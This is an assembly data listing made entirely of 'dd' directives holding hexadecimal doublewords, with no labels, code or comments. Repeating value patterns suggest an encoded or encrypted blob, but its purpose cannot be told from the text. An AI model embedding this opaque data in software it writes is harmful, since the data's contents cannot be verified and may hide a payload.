dd 8803725Bh, 0A7E9CA2Eh, 72C42F32h, 62E32D0Eh, 52B6F06Bh
dd 75A3D0BDh, 33961050h, 6D0C1F57h, 87EBDA4Ch, 82B45F9Ah
dd 9FCB83F1h, 62D46558h, 500E7A8Fh, 71A60A71h, 0DD90EF75h
dd 3AC7EA3Ch, 0E67269B5h, 7D66CA2Eh, 32F02E5Dh, 0E29E6D11h
dd 0CBAE1A6Eh, 0D8F14C6Bh, 91C2E25Eh, 0A2E06ACEh, 0FDB84F15h
dd 0C2634ADCh, 0F4EC3E25h, 0DF352A8Eh, 0C8469A8Bh, 0CBBD956Eh
dd 0B2168573h, 128657CFh, 276B5ACCh, 234DC81h, 0D47DDFB1h
dd 5D669691h, 45AEC4D2h, 379B632Eh, 3284F533h, 0AE811581h
dd 408611C7h, 5A1566EDh, 0F257BA21h, 2D08BFC5h, 96B99A0Ch
dd 41E68F8Eh, 0B218F95Ah, 2260814Eh, 92CE5B28h, 0DAE6CA2Ah
dd 72D73A9Eh, 0AD883F45h, 12331A8Ch, 0C4A80EF5h, 3230FA5Eh
dd 0A206521Eh, 1250DA3Ah, 39DAF26Fh, 0CAA6BBC8h, 62C72A8Fh
dd 0BD780F55h, 3C3E0A9Ch, 0A1167BDEh, 0F891ACDBh, 92F302BEh
dd 0B3FFCA2Eh, 4CD63AA0h, 0DC29030Eh, 0E79D2468h, 0C2F4859Ch
dd 0B5D94B09h, 78114C43h, 966DDA3Eh, 82E64CDAh, 0F256C046h
dd 0A6F2788Eh, 813666C2h, 5871C8FBh, 708307DEh, 0F586205Dh
dd 0CC9BE787h, 9366C069h, 686EADA4h, 6546AA10h, 48E13813h
dd 461D8AEEh, 3296FC5Eh, 6D3CEF59h, 0C2DDDA4Ch, 0E863D9AFh
dd 6D56D0EDh, 38D1100Bh, 0D3A6B9FEh, 4A798FF5h, 37917AACh
dd 22942520h, 11F76A95h, 182EC4ABh, 0C84BC59Eh, 8546E009h
dd 53273978h, 0CAE50F75h, 0AF11FA2Ch, 0A214A5A4h, 0C3DDE321h
dd 3663D9AFh, 4A56D0F6h, 62C62B06h, 0BE82F783h, 1210A9Ch
dd 7B447A08h, 0A582DA05h, 52D05D9Fh, 0DC958331h, 0EFDEA49Eh
dd 0B833857Bh, 52BF737Eh, 0C69B8AEEh, 21BD58A3h, 1FA15085h
dd 1276273Ah, 1D044AAEh, 8D5201A3h, 0D73B0E80h, 0D26475FEh
dd 441FB012h, 749925FCh, 9DD34C50h, 2AF6846Ah, 266F91Ah
dd 72F00629h, 0E2A06E99h, 52B61A66h, 0F3E634F6h, 828CE490h
dd 6D30FF85h, 953EDA4Ch, 0D6FE8A6Ah, 6D56BAC5h, 0DDC694DAh
dd 0EC764442h, 74A8B46Eh, 0A6AE7A08h, 0BC86EA75h, 0C1D08BBEh
dd 64D3897Eh, 41D65079h, 0E10D2FE7h, 52B721FAh, 0C27317EEh
dd 0DB96104Eh, 0A2067583h, 77E989C9h, 72E6F72Fh, 77CBBAECh
dd 62D43E87h, 2686BA55h, 1140EA58h, 0DD30EF75h, 6203EA3Ch
dd 0AA226FF5h, 266CB7Eh, 72D62BC6h, 26A3FD0Eh, 7923BC5Bh
dd 18BF3CBEh, 9933E687h, 0BAB56AEBh, 1276DF6Fh, 910EBFA5h
dd 87FDBAECh, 62D46534h, 0C4C3B9ADh, 9CA600A9h, 0A11864DEh
dd 0F891CCDBh, 930EB3BEh, 1DD5CA2Eh, 96CAC3BFh, 570D01DAh
dd 52E4F51Ch, 67A9C021h, 328416A0h, 0B1B53ECEh, 8A144ABh
dd 56A6CFAEh, 60D900BCh, 0F19C9C8Ah, 0EC2E7ECAh, 1180B46Eh
dd 0E8011C4Bh, 0B6C66F4Eh, 0B4ECD72h, 1566CA2Bh, 9C79ABE7h
dd 0AE882F07h, 44231A8Ch, 0E602466Fh, 0A548CD81h, 0E38792FAh
dd 1276E8B6h, 38169EFEh, 0C5A6EACFh, 2DF0BFC5h, 92B39A0Ch
dd 119DBE47h, 310E9EEAh, 0F88AACCBh, 0BF3302BEh, 51998925h
dd 0A8C14C0Bh, 63BC950Eh, 52B702BAh, 372D61EEh, 32841530h
dd 6D18FF85h, 0AACFDA4Ch, 826D09A9h, 0CC5624D8h, 7CC6948Eh
dd 0D23742FEh, 6210A6Ah, 0CE67A08h, 31C27552h, 61DE90A0h
dd 1566CA5Ah, 0E1A022E7h, 57BBA945h, 52E40F46h, 0F2D75BC0h
dd 5D846FF5h, 0E6896ABCh, 0CBEB9D5Eh, 2A0EA2AEh, 0F22D8E1Eh
dd 62BC8D8Eh, 0D2369BFEh, 42A60A6Eh, 0B2167ADEh, 229E794Eh
dd 92F65ABEh, 0B5941B2Eh, 9DBCAFB5h, 0BE1AAFCh, 87769E22h
dd 853CAC69h, 3B436FE3h, 0B1B86ABCh, 8A150ABh, 2A63D3AEh
dd 4A56D0F5h, 62C62A9Ch, 0ED8D49C2h, 9456BA5Bh, 0EAF5007h
dd 0D863D16Bh, 37E3861Fh, 5196CA6Fh, 0A8C1580Bh, 0EC3330Eh
dd 15B6F095h, 15C74CC2h, 8F37C87Bh, 44BD4EEBh, 0C659FFA8h
dd 5614A621h, 0E6791FD1h, 7619968Eh, 0F09346D0h, 0A738CD6Eh
dd 0F8B34EFFh, 0E363D677h, 37E89DBEh, 0C883FE8Fh, 2FF3A647h
dd 0FB961AAFh, 52F7C164h, 23C33CB1h, 0A466DF6Ah, 35E34DF5h
dd 0D5761B91h, 56076F20h, 0CF73ECBBh, 96239E35h, 0F3932CE6h
dd 94690A4Ah, 17C25BFBh, 0C758D29Ah, 55F67E1Fh, 0D687EFA0h
dd 51ED6E3Bh, 0FEA312B2h, 0A5E8ED4Eh, 15B62BD4h, 3242E986h
dd 36DF620Bh, 0B768026Ah, 48E66E0Fh, 0C67326C7h, 96239737h
dd 59F4DE5h, 763BAF5Ah, 0B2B36707h, 0C763DC8Ch, 44D88302h
dd 26FFC8Fh, 38029F5Dh, 23A316B7h, 6B28AE4Ah, 27B23FD0h
dd 7996BB71h, 3BC45EEBh, 0AB49FFA2h, 49E66F28h, 0CB940EBBh
dd 7BF28F32h, 19363FE3h, 0A15BBE4Bh, 17AA4FFAh, 0C65CCB96h
dd 92B77F22h, 0B672EF6Dh, 3806A73Bh, 20A316B7h, 9313C75Fh
dd 16C351EEh, 0A22BDF8Ah, 3AD24B1Eh, 0B735DA7Fh, 5403A01Ah
dd 0D06D23B1h, 7623718Eh, 5A83FACh, 873CB957h, 0F9163BF6h
dd 0C134DE6Bh, 37CB6F22h, 0E184F877h, 66F7A730h, 239C19B7h
dd 730DE67Eh, 24BF56CAh, 9B48DB70h, 43BB6A0Fh, 0B74F108Eh
dd 4804991Dh, 0F27326C7h, 80239A55h, 0F78A43BCh, 9236AB33h
dd 0F3B56807h, 0C756B94Eh, 31E88A24h, 0D579EF91h, 51086A9Eh
dd 0F5990FB1h, 6BF4EC91h, 0C2B23DE0h, 952DCC8Eh, 75D95DEBh
dd 0BA532850h, 67194A1Ah, 0CE6F00AAh, 76126B2Bh, 79843D0h
dd 8339AF5Ah, 26B32DDEh, 0C75AD38Ch, 37CB83EAh, 0E77A1D2Eh
dd 45D68A3Bh, 7921DC7h, 6F0FCE63h, 8BD5ECBh, 8633E687h
dd 0A2E357F7h, 0B34B086Bh, 67FFA01Eh, 0B87409ADh, 62239637h
dd 6A843ACh, 833AAB5Bh, 15AD6602h, 0BB58C14Eh, 2BB47F0Ah
dd 0C066EF92h, 4CF27B2Ah, 12921DBBh, 6B24C350h, 27C52FD2h
dd 8D2DAE71h, 600658EBh, 0B7681D8Ah, 48037E0Fh, 0F27326C7h
dd 74099E54h, 0F7A23BDBh, 0A53DBC3Eh, 0B2C94DFBh, 0B449DE94h
dd 37E27B1Bh, 0E57DFC7Eh, 37098D3Bh, 0F67CAAC6h, 7313AC41h
dd 27D92FDAh, 912FCE81h, 36BC6AF4h, 0B353EC81h, 55136F1Ah
dd 0E4A60CBBh, 75238D35h, 66C9AD1h, 7836AB33h, 0F1C55F07h
dd 0C563BD6Ch, 30CD830Ah, 0C172182Eh, 38EC9F2Eh, 0E2A316B7h
dd 82EDAE44h, 14D638CBh, 0A533DD85h, 3DDD3E01h, 0D076089Bh
dd 67F6991Ah, 0D573EDC4h, 801D933Ah, 22A268FEh, 0A732B960h
dd 0BE44E01h, 0C353DE80h, 2FD3A722h, 26FFC95h, 67278E64h
dd 1B8F1CABh, 840DC064h
dd 1BB22BD3h, 9162E885h, 0A2DC4FF9h, 0C445EE84h, 38037E17h
dd 0E7820CC7h, 87FB962Fh, 0FBA849E3h, 9E32DC6Eh, 15AF680Bh
dd 0D563CE75h, 30CF6C0Ah, 0C37D1E8Dh, 45EF8D44h, 9F1CBAh
dd 0A5051A5Dh, 23B25DAFh, 0A243CE70h, 41DA4DCEh, 0B169FF91h
dd 56037511h, 0D06D1D1Eh, 76298F34h, 69341FEh, 9639B956h
dd 13AC5300h, 0B486CF73h, 92E47D1Bh, 0E67CEFA1h, 55ED8D9Eh
dd 0E2920FB9h, 7722C847h, 16C338E0h, 0A52DE6A1h, 40E732EBh
dd 1253069Ah, 67F278F7h, 0E67328B0h, 0A5128F4Dh, 0F78C48E5h
dd 0A643BE51h, 26B74E11h, 0C03FEA6Bh, 30E87F0Ah, 0D29DFE8Bh
dd 7217A83Bh, 79218D7h, 8613C850h, 20C33AB5h, 732ACC8Bh
dd 36DC33CEh, 0B74CEC9Bh, 63039C1Ah, 0CE6F00BAh, 0A6072A2Bh
dd 0B865BACh, 867CFCA1h, 4164622h, 0BE49D16Bh, 4DD36D25h
dd 0B466038Bh, 620DA13Bh, 78118ABh, 931EDF57h, 29C35CEEh
dd 0A433CF8Fh, 3EE74007h, 0BA33FF8Bh, 67184AEFh, 0E673EDBDh
dd 771A8B5Ch, 139E5FDBh, 1879E06Eh, 8E47C08h, 23603ED9h
dd 9AE8F9F0h, 0AED3897Ch, 0EDD65075h, 1874004Ah, 829DD02Eh
dd 7C93C906h, 0B5961039h, 0E4AC7A8Ah, 0CBEBDA46h, 339E35A9h
dd 0F256BAC6h, 46FAB7B6h, 0EC364401h, 7556DB6Bh, 6E917F08h
dd 0D2B2759Eh, 63B684EAh, 77ED1D80h, 72C455B0h, 713A6E91h
dd 48E134EBh, 0BA620DEEh, 32238721h, 7506A0C9h, 0E4760407h
dd 94E63A16h, 0C312451Eh, 9206945Fh, 553E44AFh, 9C5212AEh
dd 473D2AE4h, 229425F4h, 85161E41h, 1264F00h, 0BC85FC17h
dd 0A508CDE6h, 0EA9DED2Dh, 912DC92Fh, 32F37E65h, 3AB66ACEh
dd 1276090Ah, 82001E39h, 0B27086A9h, 52C62A36h, 243844FEh
dd 163E0A58h, 0C167A05h, 0D239BB4Eh, 7D58CF95h, 0AB8DCA5Ch
dd 9DC8AFB5h, 71C3AAFCh, 0CF31AB4Ah, 0C2F49F6Eh, 0C70B0601h
dd 0A2147ACEh, 0E5458B41h, 7611CA5h, 0F244D564h, 49A3B913h
dd 0AD0E9AFEh, 0BDAD49E5h, 0E801E05Bh, 0F4FD774Eh, 0AAF65AE6h
dd 51ED8948h, 9DA8BF29h, 61BBAAFCh, 52B60297h, 912D9356h
dd 81385F5h, 2706A0C9h, 8F96EEFEh, 82BE9035h, 6002A21Eh
dd 0E74129C5h, 0D2647534h, 3D324AEBh, 0CAE90963h, 51DEEA4Eh
dd 0D5DF994h, 0B72929EDh, 72D63AC6h, 7FC7070Eh, 52E4156Ah
dd 479BD321h, 3284F8D6h, 53B73E1Fh, 41470B6Eh, 98B1A83Bh
dd 1652411Eh, 2DD8BFC5h, 947B9A0Ch, 1A530A6Ah, 0B2167ADEh
dd 0E5DB6BA3h, 2CF630B9h, 0D35725h, 42D65099h, 0C66677E0h
dd 0D5B6047Eh, 89C4962Ah, 68A1AEDBh, 0E926B7CEh, 88110BBh
dd 9CE62EAEh, 0CC19F71Eh, 5B9E82A8h, 4F369AFEh, 1000AB30h
dd 75464FA7h, 0EE3A7F77h, 16F35ACCh, 7BA8D236h, 0A8BA860Bh
dd 0A528A10Eh, 52B6422Bh, 43CB8AEEh, 68A17703h, 526BF5CEh
dd 9576B052h, 82DE2E22h, 0F2BF3E25h, 0FE472A8Eh, 0D2369C06h
dd 43A2B23Ah, 473D7ADEh, 229425CCh, 166BF649h, 267CE4Ah
dd 72F06A9Eh, 0E246AE36h, 0A408D07Eh, 372D61EEh, 328415E0h
dd 197BB3C1h, 1276DB3Ah, 84009BFFh, 0CA5724CFh, 0A2C62A8Eh
dd 10C3B9B0h, 0B8A600A9h, 0FDC2D05Bh, 265EBE9Eh, 69F65ABFh
dd 22423E25h, 0E1D63AA0h, 0B84AD89Bh, 1233D37Eh, 0B649A0DAh
dd 8CE2858Eh, 59B73CCEh, 5803796Ch, 2BE640E9h, 42837A9Bh
dd 3433295Ch, 4F367019h, 7958CE3Dh, 2FDE3E08h, 2287EEDDh
dd 0D229C5BEh, 558FDA98h, 42266A09h, 1276FADEh, 0A8433930h
dd 43268029h, 3298021Ah, 86D2E9CEh, 20037946h, 35E640E2h
dd 1E5C2F35h, 24EB2A7Ch, 0C0B69AFAh, 88A7BF78h, 0C7BA0769h
dd 0BE9EA3Ch, 0A2F6CF43h, 3369CA5Ch, 0F6A8194Ch, 0D1BEB94Eh
dd 51B61A7Fh, 0C2279A6Ah, 5C7C7A5Eh, 22C47AFBh, 966DDA54h
dd 82E64BAFh, 0E736D89Eh, 304770BFh, 196C63AEh, 121CC5Bh
dd 0F117409Ch, 0BC373839h, 65C48BBEh, 0E545F25h, 9D1F3A6Ch
dd 91C3B94Fh, 0CFB61A7Eh, 0D80C166Bh, 8A96E45Eh, 0A2066AD2h
dd 0A7DD0D6Eh, 82B446BCh, 0F256C6F3h, 0B143398Eh, 6B369AFEh
dd 42A60A1Fh, 4E6985Fh, 0A77DC097h, 92F65A5Bh, 9E5E90B1h
dd 0F6CD4772h, 0E246AAA7h, 523FA92h, 0C1F08692h, 329686DBh
dd 82FB17CEh, 0FF96BA5Eh, 560371CFh, 1EAA19ABh, 0E30A9F6Eh
dd 0EA56B9D4h, 9333BE5Ah, 2219585Fh, 0B79D1948h, 0C1B52026h
dd 8C37D92Eh, 72D6618Eh, 71788C3Dh, 48E170EBh, 0F2667DEEh
dd 0A66AA8Eh, 0A2066AD7h, 0B065097Ah, 66077912h, 18E3991Eh
dd 0E7C66082h, 0C5642E3Eh, 722393B7h, 31690B2h, 2288EA76h
dd 68C78B3Eh, 1CD3897Eh, 0EFD65072h, 0B831419Bh, 0BE9CA7Eh
dd 0F4D65BBAh, 0C7BDAB8Fh, 0A214A524h, 4192DEBDh, 98B13C3Bh
dd 7219921Eh, 38B39913h, 951F9BFEh, 43400B58h, 253D8D75h
dd 0A773694Ah, 85C06E7Eh, 95165509h, 9E263DA9h, 0CFD15F93h
dd 0BC311A8Ch, 0C2268BF2h, 338E84E9h, 0AA096ACEh, 8D56A569h
dd 6344FD79h, 5495BFAAh, 0E5DC15BBh, 4D89A93Dh, 0F621E1B2h
dd 0F2B02E0Eh, 3160BC9Fh, 7D68CF95h, 7FE1CA5Ch, 72C4553Ch
dd 0BD3A6E91h, 598F9DC5h, 0C2C0912Dh, 710FFA06h, 61B9ADD1h
dd 0D3450E7Ch, 3F0A8F00h, 0D1881DC7h, 76249941h, 0F08F51B2h
dd 9535B94Ah, 24C33D12h, 0B65CCF80h, 45E87FECh, 0AE7CF997h
dd 4E06925Bh, 0F4A31CB5h, 8417CE7Eh, 0FAB22FCDh, 3242CD85h
dd 52066AD0h, 0FEEFEC6Bh, 66097C17h, 0D76F1404h, 7E16582Ch
dd 156F68FEh, 0A33DEA39h, 0CAA5BFBh, 0D780CB7Fh, 72C89FF1h
dd 0BB9D149Fh, 68B45A64h, 0F7921CB7h, 528ECF88h, 0EF268AEEh
dd 401C67DFh, 27446ABCh, 12A4CFA5h, 0FC5309AEh, 3356D0F9h
dd 2E1249B6h, 47B198E8h, 42740530h, 0D0FA2617h, 0A364147Bh
dd 47FBF9D4h, 0C8AB5751h, 0EDD65072h, 4775ACBCh, 0D72B7F5Ch
dd 0C2F481A9h, 69B77FE5h, 1B506ABCh, 0D0EA747Ch, 833705A4h
dd 0C2F18940h, 0F19152B6h, 0B69A1D55h, 86330E76h, 0B2168286h
dd 0E544BD4Eh, 4EAA9EE4h, 78D3892Eh, 6DD65079h, 553B1E4Eh
dd 1091C68h, 0D8F1887Bh, 0C5E6595Eh, 0B14C0876h, 12718215h
dd 48194AAEh, 0C58DF9E1h, 9EFA6E74h, 68C3B9FEh, 1AA600A9h
dd 0A13DD861h, 31D4F0F6h, 0E56BF995h, 1566C040h, 0E253C7E7h
dd 1346E005h, 0A207CB2Fh, 91D75BBFh, 68816CCBh, 0A201D2CEh
dd 0E543DA3Eh, 94B99CEBh, 0AE8AFE04h, 0D833298Eh, 6A367019h
dd 42A60A78h, 24C64DEDh, 0C852D877h, 0C1C65AFFh, 1831C8BBh
dd 3853C39Eh, 0E146E009h, 872BA78Fh, 3B268007h, 687AC6DBh
dd 174D3BCEh, 12A4B5ACh, 82E27241h, 0A7CBBA1Eh, 62D44310h
dd 0C4DB27B7h, 1AA600A2h, 0A13DCFA7h, 0C703316Ch, 92F630B4h
dd 0E9C34D7Eh, 72D65094h, 0D0633F93h, 0A6061A8Ch, 0C2C08BD8h
dd 3298E290h, 174DEACEh, 12A4B64Ch, 57100A2Bh, 0BACB4700h
dd 94C660A4h, 47ABA0E8h, 4274284Bh, 2E6300Ah, 97CDBC9Fh
dd 922436D8h, 14D38986h, 0B8D65072h, 0B84CFD8Bh, 4E8E1A7Eh
dd 0F9268AEEh, 6D59C991h, 661C9CC1h, 41762682h, 98B1E03Bh
dd 0F96E2D1Eh, 0DFC62A8Eh, 0C83ED38Bh, 0CF1BE36Eh, 0B20496E0h
dd 31D3AEF6h, 92EA0295h, 0BB95CA2Eh, 370C8364h, 1E82D8DAh
dd 0E79D1A42h, 0C2F4857Ch, 0B68D3ADBh, 0A2066CBBh, 127302B1h
dd 175B4AAEh, 0F244B30Dh, 504BB767h, 6A367012h, 11AD3F73h
dd 0DEF81761h, 2186EA3Ch, 92F84A3Ah, 72FA4B2Eh, 46D63A9Fh
dd 0E247ABB6h, 5443397Eh
dd 43268022h, 32976A1Ah, 0D6813ACEh, 4148DAA8h, 98AA2C3Bh
dd 0BB163F1Eh, 0DA1E373Bh, 81369AF1h, 587180FBh, 3538E5DEh
dd 0F86CD1C3h, 6BE35ABEh, 0F0814FB3h, 0E1263A6Ch, 0B84AB89Bh
dd 51769F7Eh, 0C227136Ah, 2E56855Eh, 724D6A59h, 20555FC5h
dd 7A44ADCh, 0F244D8D1h, 7CC6948Fh, 813844FFh, 586A24FBh
dd 0A13EFDDEh, 23666E55h, 0F895ABEh, 184CEDBBh, 44E6A49Eh
dd 0DCB3A9E1h, 0D7B6F092h, 2A3992Eh, 0AF96FA5Fh, 78EC6743h
dd 2A6E2B3Eh, 0D16D04F1h, 0F2562EC6h, 8E1888Eh, 26526E87h
dd 4D1C9FE5h, 5F8B7AACh, 229408D9h, 764E5B4Fh, 7FED8928h
dd 0A8DC920Bh, 0FA46140Eh, 52B61A6Ah, 372D5DC0h, 3284164Ch
dd 96222E53h, 1E64FC3h, 81164ADCh, 0B6D1C46Ch, 2873E6Ah
dd 0D3709C06h, 34A8D480h, 0F6117D28h, 4306F22Ah, 8A561BC5h
dd 26A2D57Fh, 42C8198Eh, 0AE726793h, 5E8E1A8Ch, 0E7268AEEh
dd 523E1044h, 821C8AB4h, 0F793BF58h, 0A7EE42D4h, 0E533DAB6h
dd 9BFD7498h, 29367AC4h, 4D649FE5h, 76977AACh, 2286EAB2h
dd 69C65A28h, 0F8D38981h, 0EDD65072h, 0B8333293h, 0F5B6C47Eh
dd 0BF5F3509h, 3293628Fh, 87246ACEh, 0E976E49Ah, 8D24DFA5h
dd 36D9BAECh, 5DA17A92h, 0D236A1E6h, 0B3EB976Eh, 91690D4h
dd 18F369A1h, 17F630D2h, 7F9208EEh, 0A8BA6EEBh, 5AE32D0Eh
dd 52B6F06Bh, 0D0D91773h, 0F071FA2Ch, 58B76AF8h, 24037971h
dd 5E640E2h, 117CBA36h, 0DF8CB51Fh, 0C85A4E8Bh, 149B7A6Eh
dd 12264F44h, 31D01BF6h, 0A9E87B95h, 0D9DBD311h, 0ED70259Fh
dd 5FFCD555h, 48DACE13h, 4982BDEEh, 85FF65EDh, 6E04FF85h
dd 7FF6DA4Ch, 82B45F15h, 0CA300E1Fh, 62C69F7Eh, 0BDE40F55h
dd 0CF260A9Ch, 0B2049811h, 6977DE4Eh, 88FC813Bh, 266CA2Eh
dd 4553009Eh, 0E246E004h, 19C22E7h, 0AA3D165h, 3296104Bh
dd 4F866ACEh, 0F76DE00h, 60C699B8h, 126C29C5h, 7EE69035h
dd 0B39340E7h, 9686D98Eh, 0D2B36707h, 0C5A6D97Ah, 34D3861Bh
dd 0E772EBA0h, 92D0477Fh, 0C266CAEEh, 8729FA45h, 14C337D3h
dd 0A437E13Eh, 83DC4FEAh, 0B748E443h, 56FC6F12h, 0E5891FC2h
dd 7AE6A332h, 0FBA62ADFh, 0A63CAB8Eh, 22BE5FBEh, 0C352CD6Bh
dd 720A6E24h, 0E087FEA1h, 59ECA33Ah, 0DF5BCA08h, 8617D188h
dd 20BF32D1h, 8E371A7Dh, 43E28AF2h, 0B057BA97h, 5BFC2A0Ah
dd 0E8222BDh, 741D906Eh, 0EBA8401Eh, 9542B84Bh, 29F643BEh
dd 0EC52D36Fh, 2AC564C3h, 2283FC8Bh, 92F38C3Fh, 0BE9319C7h
dd 6B28C09Eh, 15C238CBh, 91591A35h, 82274FF3h, 0AB96EE87h
dd 5BF22A21h, 12371FC3h, 75E59E57h, 697461Eh, 0C6A2EB4Bh
dd 0FBE58A9Dh, 169F24B9h, 0EFB54A5Ch, 0F659ECC7h, 0DBF02AFCh
dd 6C230AB4h, 0EB69010Fh, 0A26EF923h, 0E5687C39h, 3AF7C246h
dd 12769029h, 82E64AAEh, 0F256BA1Eh, 62C62A8Eh, 0D2369AFEh
dd 42A60A6Eh, 0B2167ADEh, 2286EA4Eh, 92F65ABEh, 266CA2Eh
dd 72D63A9Eh, 0E246AA0Eh, 52B61A7Eh, 0C2268AEEh, 3296FA5Eh
dd 0A2066ACEh, 1276DA3Eh, 82E64AAEh, 0F256BA1Eh, 62C62A8Eh
dd 0FC399AFEh, 0C546D9BAh, 0E8FDBA3Bh, 8709EA4Eh, 9224397Ah
dd 0C5B5D92Eh, 7A29C78Ah, 0E8816115h, 96314A81h, 4016E0Ah
dd 5D9FCC62h, 96D97210h, 0ED821CC9h, 0F75F56F0h, 0F244D95Eh
dd 3182AF17h, 0D7119A0Ch, 247E4CF1h, 0B6585B97h, 0D203724Eh
dd 0AAF630DAh, 266CA8Ah, 72D63946h, 0EFC3370Eh, 9BB6F0A1h
dd 0BEB2A227h, 14923AE1h, 283E97Dh, 5576B055h, 0FFE9239Dh
dd 0F244DECEh, 728D3AB1h, 55362952h, 18C80ED6h, 0D5BBF767h
dd 0EC09EA3Ch, 6DF36EBEh, 0F278CD60h, 3A7A8823h, 0ACC908E9h
dd 1B2AE7Eh, 9129B520h, 89AEEA70h, 7D4DE985h, 56EBC504h
dd 2AE640E5h, 35420521h, 3162AF15h, 57F59A0Ch, 4274090Eh
dd 0B2167ADEh, 228626F6h, 0F273E5BEh, 5A66C065h, 0E17D10EEh
dd 0E246C236h, 0B25B9D7Eh, 0C2268025h, 0BF0F026Bh, 0A2148D87h
dd 8FDD5629h, 82B4494Eh, 96D34961h, 0DBC66085h, 0C85DFA6Bh
dd 42A9326Eh, 6B097ADEh, 0A2F97511h, 64F65ABEh, 51EC7716h
dd 0B6633DB5h, 0E546E005h, 4E209DACh, 0C9A299EEh, 0B596FA5Fh
dd 0A1067A08h, 127677BAh, 7E28D5AEh, 600EA2CEh, 0E7C929C5h
dd 0D264793Ah, 0BC565071h, 0B23FFAE6h, 2B06037Ah, 52F96EE4h
dd 0BAE17B19h, 0C177BB9Fh, 63ED8965h, 8EEADED7h, 0EB3A3FEEh
dd 1B194249h, 0F97D7988h, 0B876DA3Eh, 956C822Fh, 8DD3C9F0h
dd 98C62A8Eh, 7367481h, 3260956Bh, 0AC917C89h, 3A375B51h
dd 0C15DF810h, 11223F31h, 0F72B3A6Ch, 0E111224Eh, 52B69EFAh
dd 8673C9EEh, 82961035h, 0B14C3F76h, 56F3DD15h, 1E640E5h
dd 283D7E9Bh, 46C22D8Eh, 0D4F61DB1h, 0D89D65A1h, 3228DDE6h
dd 63390A17h, 6BF23EDAh, 0FE3FAE42h, 0CD16757Ah, 0E1112B37h
dd 867B75ADh, 5A310B24h, 0A6E1E89Bh, 4B51EBBCh, 0C6DD3B59h
dd 0B871CBD4h, 0E6AA4F00h, 0D591AB6Ch, 6295267h, 8FB18B84h
dd 26493287h, 0E8D16B5Ch, 46573FD5h, 12F14B34h, 66775F75h
dd 46B3A90Ch, 9DB6F095h, 912D3B57h, 0F419B8F5h, 0B05DD3DAh
dd 14B97915h, 0DA0E4E18h, 61FD8FCEh, 48E0BF16h, 3A949A0Ch
dd 24A8229Fh, 0B419DE9Eh, 0BC21D0F0h, 874E92BCh, 85ED891Bh
dd 0C35542E0h, 7A6EAFB8h, 19D2FA6h, 1529C46Eh, 34668A69h
dd 7824944Bh, 0F9D1443Eh, 1C0E7218h, 0E759949Eh, 0FAB7DAA6h
dd 811DAF06h, 42A60B26h, 2668FEDEh, 30E63B53h, 0AD640588h
dd 266422Bh, 0D431BA9Eh, 57BB6D85h, 52E4F2F2h, 6C35E119h
dd 0B1135121h, 0A206A0C6h, 116EDA3Eh, 0E2A70A3Bh, 6FD39029h
dd 63C66086h, 0CF94A0CBh, 35C1EFF7h, 0DA8BFF6Ch, 0B788EA3Ch
dd 83EB80BCh, 0E862754Bh, 58B33BA3h, 71CA9279h, 953139D5h
dd 4A93131Ah, 0CD961035h, 2183E191h, 1276B056h, 81DE4AAEh
dd 9E527A8Bh, 0F12A12F8h, 67AFB955h, 42740922h, 0DA8BFF6Ch
dd 0B787EA3Ch, 0AD2769BAh, 9D26B530h, 0F15311E1h, 0E246E006h
dd 86AE1A7Eh, 3BA3140Dh, 0F3961036h, 9FE4756Eh, 6D541FC9h
dd 0FC40025Eh, 283E439Bh, 4DA6EB8Eh, 4B9241FBh, 279756Ch
dd 0C43125FCh, 27FDCEC6h, 1770C5BEh, 234C2B7h, 0D297729Ah
dd 32095526h, 78D645D2h, 2826B5A6h, 8C9F65C9h, 8B5E42CAh
dd 8FDD790Ah, 0E2A71CAAh, 6B532026h, 0FD6190CEh, 2CC6EA01h
dd 1A4E0C58h, 0A13DCEDEh, 0F4523CCAh, 0AABE6228h, 51ED7D1Ah
dd 0B50804B4h, 9C0C6FBAh, 0C9C634Ah, 7C2CE5DAh, 0ECBC066Ah
dd 0DC4C76FAh, 3B26E68Ah, 0CF361799h, 67C68349h, 0EA56EFB9h
dd 4FF9DB69h, 586EA623h, 3193D1DEh, 22862046h, 46765ABEh
dd 9C863A31h, 9A4DBFADh, 0E246AAFCh, 5922227Eh, 9EA15FA6h
dd 294DA55Eh, 780EF94Bh, 1276DD3Eh, 0B96259AFh, 0A256BA1Eh
dd 0DB61D4B6h, 0C85D0293h, 0DCBE7A6Eh, 4E7B0349h, 39862045h
dd 881EE93Bh, 266CD2Eh, 0E9E38E9Eh, 0B84E398Bh, 52B61A7Eh
dd 9A233EEFh, 21BD581Fh, 0FDA0D33Eh, 10E5FC9h, 0C1614ADCh
dd 9FCF8209h, 62D469FEh, 3A1A6287h, 58ADAE4Dh, 18568D49h
dd 0A10361B9h, 95F630D6h, 0D666CA2Eh, 0EF5310A4h, 6246E006h
dd 948E1F4Ah, 4A2DC964h, 580FDE7Dh, 48469D39h, 91F371E9h
dd 85E640E6h, 0E656BA1Eh, 0DF43205Bh, 52367016h, 30BE0F5Bh
dd 8A3DD974h, 31CD67AAh, 84E3A4Eh, 65ED8929h, 0E13EA077h
dd 53E1101Bh, 0D143A529h
dd 99268026h, 35D85110h, 37066ACEh, 3F5C822Ah, 713609A5h
dd 61012A46h, 0F14E90C5h, 63D140EBh, 0BDDD9519h, 0E8FD0A5Bh
dd 9BBE154Eh, 1765F606h, 234C2B5h, 72D63AA1h, 6715D8BAh
dd 52E4F205h, 0C8268AEEh, 0B7C51C6Ah, 0A214A255h, 1376DA3Eh
dd 0D47E4F1Bh, 69FD9933h, 38CEB90Bh, 0D2369AFEh, 1AA3BE6Ah
dd 0A13DD8E3h, 0EAFD6FFDh, 92F25ACCh, 0F972CA2Eh, 0E17CA1C6h
dd 0A25F6245h, 0BA5162D4h, 0C6B2CAF6h, 1A4392C9h, 0B9A15179h
dd 89E69BBh, 82E652AEh, 728D0F1Eh, 38CEB703h, 18A29AFEh
dd 11AC05D6h, 0BAEF1275h, 87803337h, 92243247h, 0FC696EEEh
dd 0A8BEC3FBh, 33D6550Eh, 0CF33A428h, 5C268026h, 0B790BAAEh
dd 0A214A257h, 341E00E8h, 16301A3h, 256D0F6h, 76C62A8Eh
dd 2C6FEAFDh, 0E33824Ch, 8A8625FCh, 7DC61DB8h, 8182B747h
dd 87F5CA5Ch, 72C45225h, 0E246AAEEh, 9A66234Bh, 0CAA50FF8h
dd 98F0FA2Ch, 0B946EB46h, 89E69BBh, 82E68AAEh, 72590E1Eh
dd 0C7C052CAh, 0D264727Dh, 0CF1F754Ch, 0B2049956h, 0A10361B9h
dd 92F630D6h, 0D7A6CA2Eh, 7426CAA7h, 0B84E318Bh, 0D7A5847Eh
